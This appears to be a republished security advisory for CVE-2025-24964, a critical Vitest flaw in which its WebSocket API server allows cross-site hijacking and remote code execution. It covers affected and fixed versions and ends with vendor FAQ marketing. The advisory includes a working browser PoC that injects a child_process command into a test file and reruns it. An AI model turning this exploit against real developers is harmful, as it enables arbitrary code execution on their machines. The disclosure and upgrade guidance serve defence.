CVE-2025-24964

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

This vulnerability can result in remote code execution for users that are using Vitest serve API.

CVE-2025-24964 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.1, 2.1.9, 3.0.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-24964? CVE-2025-24964 is a critical-severity security vulnerability in vitest (npm), affecting versions >= 1.0.0, < 1.6.1. It is fixed in 1.6.1, 2.1.9, 3.0.5.
2. How severe is CVE-2025-24964? CVE-2025-24964 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vitest are affected by CVE-2025-24964? vitest (npm) versions >= 1.0.0, < 1.6.1 is affected.
4. Is there a fix for CVE-2025-24964? Yes. CVE-2025-24964 is fixed in 1.6.1, 2.1.9, 3.0.5. Upgrade to this version or later.
5. Is CVE-2025-24964 exploitable, and should I be worried? Whether CVE-2025-24964 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-24964 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-24964?
   • Upgrade vitest to 1.6.1 or later
   • Upgrade vitest to 2.1.9 or later
   • Upgrade vitest to 3.0.5 or later